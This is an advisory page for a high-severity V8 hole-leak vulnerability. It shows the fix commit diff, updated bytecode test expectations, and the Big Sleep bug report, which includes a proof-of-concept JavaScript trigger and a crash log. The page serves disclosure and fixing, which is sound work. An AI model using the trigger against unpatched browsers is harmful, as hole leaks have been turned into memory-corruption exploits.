Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in V8
DescriptionInappropriate implementation in V8
ComponentV8
Bug ClassLogic Error
Tracker449760249
Fix commitb371b4f8ba07 (v8/v8) +166/-134
CISA KEVNot listed
CreditedGoogle Big Sleep
Disclosed2025-10-28

Changed Functions

FunctionChangeNotes
V8_NODISCARD
src/interpreter/bytecode-generator.cc
modified
merge_into_bitmap_
src/interpreter/bytecode-generator.cc
modified
BytecodeGenerator
src/interpreter/bytecode-generator.cc
modified
control_builder_
src/interpreter/bytecode-generator.cc
modified
merge_elider_
src/interpreter/bytecode-generator.cc
modified
switch
src/interpreter/bytecode-generator.cc
modified

Files Changed

  • src/interpreter/bytecode-generator.cc
From b371b4f8ba073fb5c054273e8909bee5de574b35 Mon Sep 17 00:00:00 2001
From: Toon Verwaest <[email protected]>
Date: Thu, 09 Oct 2025 15:06:36 +0200
Subject: [PATCH] [interpreter] Merge hole elision info on break

This e.g. allows us to optimize the access of `x` even though there's
a conditional labeled break. Not `y` though due to the condition:

```
  lbl: {
    x;
    if (a) break lbl;
    y;
  }
  x; y;
```

Bug: 449760249
Change-Id: I965ea1b15dc750cf9c570987001f30c198efe705
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7026071
Reviewed-by: Leszek Swirski <[email protected]>
Auto-Submit: Toon Verwaest <[email protected]>
Commit-Queue: Toon Verwaest <[email protected]>
Cr-Commit-Position: refs/heads/main@{#103060}
---

diff --git a/src/interpreter/bytecode-generator.cc b/src/interpreter/bytecode-generator.cc
index 688befd..37faf63 100644
--- a/src/interpreter/bytecode-generator.cc
+++ b/src/interpreter/bytecode-generator.cc
@@ -440,6 +440,106 @@
   }
 };
 
+// Scoped class to help elide hole checks within a conditionally executed basic
+// block. Each conditionally executed basic block must have a scope to emit
+// hole checks correctly.
+//
+// The duration of the scope must correspond to a basic block. Numbered
+// Variables (see Variable::HoleCheckBitmap) are remembered in the bitmap when
+// the first hole check is emitted. Subsequent hole checks are elided.
+//
+// On scope exit, the hole check state at construction time is restored.
+class V8_NODISCARD BytecodeGenerator::HoleCheckElisionScope {
+ public:
+  explicit HoleCheckElisionScope(BytecodeGenerator* bytecode_generator)
+      : HoleCheckElisionScope(&bytecode_generator->hole_check_bitmap_) {}
+
+  ~HoleCheckElisionScope() { *bitmap_ = prev_bitmap_value_; }
+
+ protected:
+  explicit HoleCheckElisionScope(Variable::HoleCheckBitmap* bitmap)
+      : bitmap_(bitmap), prev_bitmap_value_(*bitmap) {}
+
+  Variable::HoleCheckBitmap* bitmap_;
+  Variable::HoleCheckBitmap prev_bitmap_value_;
+};
+
+// Scoped class to help elide hole checks within control flow that branch and
+// merge.
+//
+// Each such control flow construct (e.g., if-else, ternary expressions) must
+// have a scope to emit hole checks correctly. Additionally, each branch must
+// have a Branch.
+//
+// The Merge or MergeIf method must be called to merge variables that have been
+// hole-checked along every branch are marked as no longer needing a hole check.
+//
+// Example:
+//
+//   HoleCheckElisionMergeScope merge_elider(this);
+//   {
+//      HoleCheckElisionMergeScope::Branch branch_elider(merge_elider);
+//      Visit(then_branch);
+//   }
+//   {
+//      HoleCheckElisionMergeScope::Branch branch_elider(merge_elider);
+//      Visit(else_branch);
+//   }
+//   merge_elider.Merge();
+//
+// Conversely, it is incorrect to use this class for control flow constructs
+// that do not merge (e.g., if without else). HoleCheckElisionScope should be
+// used for those cases.
+class V8_NODISCARD BytecodeGenerator::HoleCheckElisionMergeScope final {
+ public:
+  explicit HoleCheckElisionMergeScope(BytecodeGenerator* bytecode_generator)
+      : bitmap_(&bytecode_generator->hole_check_bitmap_) {}
+
+  ~HoleCheckElisionMergeScope() {
+    // Did you forget to call Merge or MergeIf?
+    DCHECK(merge_called_);
+  }
+
+  void MergeBranch(BytecodeGenerator* generator) {
+    merge_value_ &= generator->hole_check_bitmap_;
+  }
+
+  void Merge() {
+    DCHECK_NE(UINT64_MAX, merge_value_);
+    *bitmap_ = merge_value_;
+#ifdef DEBUG
+    merge_called_ = true;
+#endif
+  }
+
+  void MergeIf(bool cond) {
+    if (cond) Merge();
+#ifdef DEBUG
+    merge_called_ = true;
+#endif
+  }
+
+  class V8_NODISCARD Branch final : public HoleCheckElisionScope {
+   public:
+    explicit Branch(HoleCheckElisionMergeScope& merge_into)
+        : HoleCheckElisionScope(merge_into.bitmap_),
+          merge_into_bitmap_(&merge_into.merge_value_) {}
+
+    ~Branch() { *merge_into_bitmap_ &= *bitmap_; }
+
+   private:
+    Variable::HoleCheckBitmap* merge_into_bitmap_;
+  };
+
+ private:
+  Variable::HoleCheckBitmap* bitmap_;
+  Variable::HoleCheckBitmap merge_value_ = UINT64_MAX;
+
+#ifdef DEBUG
+  bool merge_called_ = false;
+#endif
+};
+
 // Scoped class for enabling break inside blocks and switch blocks.
 class BytecodeGenerator::ControlScopeForBreakable final
     : public BytecodeGenerator::ControlScope {
@@ -449,7 +549,10 @@
                            BreakableControlFlowBuilder* control_builder)
       : ControlScope(generator),
         statement_(statement),
-        control_builder_(control_builder) {}
+        control_builder_(control_builder),
+        merge_elider_(generator) {}
+
+  HoleCheckElisionMergeScope& merge_elider() { return merge_elider_; }
 
  protected:
   bool Execute(Command command, Statement* statement,
@@ -457,6 +560,7 @@
     if (statement != statement_) return false;
     switch (command) {
       case CMD_BREAK:
+        merge_elider_.MergeBranch(generator());
         PopContextToExpectedDepth();
         control_builder_->Break();
         return true;
@@ -472,6 +576,7 @@
  private:
   Statement* statement_;
   BreakableControlFlowBuilder* control_builder_;
+  HoleCheckElisionMergeScope merge_elider_;
 };
 
 // Scoped class for enabling 'break' and 'continue' in iteration
@@ -1110,102 +1215,6 @@
   ZoneMap<Key, int> map_;
 };
 
-// Scoped class to help elide hole checks within a conditionally executed basic
-// block. Each conditionally executed basic block must have a scope to emit
-// hole checks correctly.
-//
-// The duration of the scope must correspond to a basic block. Numbered
-// Variables (see Variable::HoleCheckBitmap) are remembered in the bitmap when
-// the first hole check is emitted. Subsequent hole checks are elided.
-//
-// On scope exit, the hole check state at construction time is restored.
-class V8_NODISCARD BytecodeGenerator::HoleCheckElisionScope {
- public:
-  explicit HoleCheckElisionScope(BytecodeGenerator* bytecode_generator)
-      : HoleCheckElisionScope(&bytecode_generator->hole_check_bitmap_) {}
-
-  ~HoleCheckElisionScope() { *bitmap_ = prev_bitmap_value_; }
-
- protected:
-  explicit HoleCheckElisionScope(Variable::HoleCheckBitmap* bitmap)
-      : bitmap_(bitmap), prev_bitmap_value_(*bitmap) {}
-
-  Variable::HoleCheckBitmap* bitmap_;
-  Variable::HoleCheckBitmap prev_bitmap_value_;
-};
-
-// Scoped class to help elide hole checks within control flow that branch and
-// merge.
-//
-// Each such control flow construct (e.g., if-else, ternary expressions) must
-// have a scope to emit hole checks correctly. Additionally, each branch must
-// have a Branch.
-//
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden b/test/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden
index 26a3cc3..d2fed93 100644
--- a/test/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden
+++ b/test/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden
@@ -801,7 +801,7 @@
   {
     f = function f(a) {
   switch (a) {
-    case x: y; break;
+    case x: if (a) break; y; break;
     case 42: y; z;
     default: y; w;
   }
@@ -813,7 +813,7 @@
 "
 frame size: 1
 parameter count: 2
-bytecode array length: 57
+bytecode array length: 65
 bytecodes: [
   /*   24 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
   /*   44 E> */ B(ThrowReferenceErrorIfHole), U8(0),
@@ -822,27 +822,31 @@
                 B(JumpIfTrue), U8(11),
                 B(LdaSmi), I8(42),
                 B(TestEqualStrict), R(0), U8(0),
-                B(JumpIfTrue), U8(10),
-                B(Jump), U8(16),
-  /*   47 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
+                B(JumpIfTrue), U8(16),
+                B(Jump), U8(22),
+  /*   47 S> */ B(Ldar), R(arg0),
+                B(JumpIfToBooleanFalse), U8(4),
+  /*   54 S> */ B(Jump), U8(24),
+  /*   61 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
                 B(ThrowReferenceErrorIfHole), U8(1),
-  /*   50 S> */ B(Jump), U8(18),
-  /*   68 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
+  /*   64 S> */ B(Jump), U8(18),
+  /*   82 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
                 B(ThrowReferenceErrorIfHole), U8(1),
-  /*   71 S> */ B(LdaImmutableCurrentContextSlot), U8(5),
+  /*   85 S> */ B(LdaImmutableCurrentContextSlot), U8(5),
                 B(ThrowReferenceErrorIfHole), U8(2),
-  /*   85 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
+  /*   99 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
                 B(ThrowReferenceErrorIfHole), U8(1),
-  /*   88 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
-                B(ThrowReferenceErrorIfHole), U8(3),
-  /*   93 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
-  /*   96 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
-  /*   99 S> */ B(LdaImmutableCurrentContextSlot), U8(5),
-                B(ThrowReferenceErrorIfHole), U8(2),
   /*  102 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
                 B(ThrowReferenceErrorIfHole), U8(3),
+  /*  107 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
+  /*  110 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
+                B(ThrowReferenceErrorIfHole), U8(1),
+  /*  113 S> */ B(LdaImmutableCurrentContextSlot), U8(5),
+                B(ThrowReferenceErrorIfHole), U8(2),
+  /*  116 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
+                B(ThrowReferenceErrorIfHole), U8(3),
                 B(LdaUndefined),
-  /*  107 S> */ B(Return),
+  /*  121 S> */ B(Return),
 ]
 constant pool: [
   INTERNALIZED_ONE_BYTE_STRING_TYPE ["x"],
@@ -870,7 +874,7 @@
 "
 frame size: 0
 parameter count: 2
-bytecode array length: 24
+bytecode array length: 22
 bytecodes: [
   /*   33 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
                 B(ThrowReferenceErrorIfHole), U8(0),
@@ -880,7 +884,6 @@
   /*   58 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
                 B(ThrowReferenceErrorIfHole), U8(1),
   /*   63 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
-                B(ThrowReferenceErrorIfHole), U8(0),
   /*   66 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
                 B(ThrowReferenceErrorIfHole), U8(1),
                 B(LdaUndefined),
Loading diff…

Original Bug Report

reported by [email protected]

V8: Hole leak in Ignition interpreter due to invalid hole-check removal

We are tracking this issue with the public ID BIGSLEEP-449910706. Please use this identifier for reference in any future communication.

Vulnerability Details

There is a hole leak due to an invalid hole-check removal in the Ignition interpreter.

JavaScript variables declared with let (or const) cannot be used before they are initialized (in contrast to var variables which will be undefined). In V8, this is implemented by initially setting the variable’s value to the special the_hole value and adding hole checks that raise an exception if a variable is used before it is initialized. As an optimization, V8’s bytecode compiler then attempts to remove redundant hole checks by analyzing the bytecode’s structure and looking for hole checks that are dominated by previous hole checks, in which case they are redundant and can be removed.

However, for the sample below, this optimization fails and incorrectly removes a hole check. In particular, it fails to realize that the hole check in the do-while loop’s footer does not dominate the hole check after the switch statement as it can be skipped due to the labelled break operation. As such, when x is used after the switch statement, its value is still the_hole but the hole check has been eliminated, leading to the_hole being leaked into JavaScript. This can be seen in the crash log or by uncommenting the %DebugPrint.

As hole leaks have been exploitable in the past, we’re reporting this issue as a high-severity vulnerability, although recent hardening around hole leaks [1] may affect the exploitability of this bug in the future.

[1] https://crbug.com/434179415

Affected Version(s)

The issue has been successfully reproduced:

  • at HEAD (commit e53002532ca9428582bf8726322d5fe191b8a094)
  • in stable release 14.1.146.11 (commit ad8af0fc661d278e87627fcaa3a7cf795ee80dd8)

Reproduction

Test Case

function trigger(cond) {
  {
    target: switch(1) {
      case 1:
        do {
          if (cond) break target;
        } while((x=1) && false);
        break;
      default:
        x=1;
    }
    // %DebugPrint(x);
    print(x);   // crash here due to seeing a hole
    let x;
  }
}
trigger(true);

Build Instructions

Follow the instructions at https://v8.dev/docs/build. The crash was verified on a debug build:

gm.py x64.debug

Command

./out/x64.debug/d8 crash.js

ASan Report

#
# Fatal error in ../../src/api/api.cc, line 831
# Debug check failed: !IsTheHole(heap_object).
#
#
#
#FailureMessage Object: 0x7b0426d6e860
==== C stack trace ===============================
    ./out/x64.debug/d8(___interceptor_backtrace+0x46) [0x559d6ecf7d96]
    v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f042a9d689e]
    v8/v8/out/x64.debug/libv8_libplatform.so(+0x7e07b) [0x7f04426f207b]
    v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x2e2) [0x7f042a97c002]
    v8/v8/out/x64.debug/libv8_libbase.so(+0x87727) [0x7f042a97b727]
    v8/v8/out/x64.debug/libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x4d) [0x7f042a97c14d]
    v8/v8/out/x64.debug/libv8.so(v8::Data::IsValue() const+0x25b) [0x7f0435bb151b]
    v8/v8/out/x64.debug/libv8.so(bool v8::internal::ValidateFunctionCallbackInfo<v8::Value>(v8::FunctionCallbackInfo<v8::Value> const&)+0x295) [0x7f0435cc0115]
    v8/v8/out/x64.debug/libv8.so(bool v8::internal::ValidateCallbackInfo<v8::Value>(v8::FunctionCallbackInfo<v8::Value> const&)+0x15) [0x7f0435c60805]
    ./out/x64.debug/d8(v8::WriteAndFlush(_IO_FILE*, v8::FunctionCallbackInfo<v8::Value> const&)+0x19) [0x559d6ee43379]
    ./out/x64.debug/d8(v8::Shell::Print(v8::FunctionCallbackInfo<v8::Value> const&)+0x3f) [0x559d6ee4340f]
    v8/v8/out/x64.debug/libv8.so(+0xa0a0450) [0x7f0434aa0450]

Reporter Credit

Google Big Sleep

Disclosure Policy

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2026-01-05. For more information, visit https://goo.gle/bigsleep

View on issue tracker